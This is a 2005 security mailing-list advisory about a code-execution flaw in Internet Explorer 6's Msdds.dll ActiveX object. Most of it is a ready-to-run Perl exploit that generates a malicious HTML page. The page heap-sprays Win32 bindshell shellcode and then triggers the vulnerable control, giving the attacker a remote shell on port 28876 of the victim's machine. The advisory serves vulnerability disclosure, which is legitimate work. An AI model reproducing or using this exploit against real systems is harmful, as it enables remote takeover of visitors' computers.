[EXPL] Microsoft Internet Explorer Msdds.dll Code Execution

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Microsoft Internet Explorer Msdds.dll Code Execution
------------------------------------------------------------------------


SUMMARY

Internet Explorer is "a proprietary web browser made by Microsoft and 
currently available as part of Microsoft Windows". Flaws in initialization 
of Msdds.dll (Microsoft Design Tools Diagram Surface) object as ActiveX 
control, allows attackers to cause the Internet Explorer to execute 
arbitrary code.

DETAILS

Vulnerable Systems:
 * Internet Explorer 6 for Microsoft Windows XP SP1 and SP2

 Exploit:
#!/usr/bin/perl
############################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit 
(0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by 
Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
############################
#
# This program is free software; you can redistribute it and/or modify it 
under
# the terms of the GNU General Public License version 2, 1991 as published 
by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but 
WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or 
FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
############################

# header
my $header = "< html>< body>\n< SCRIPT language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length< slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace< 0x40000) block = 
block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i< 700;i++) memory[i] = block + shellcode;\n".
"< /SCRIPT>\n";

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

# footer
my $footer = "< object classid=\"CLSID:".$clsid."\">< /object>< /body>< 
/html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php> 
http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.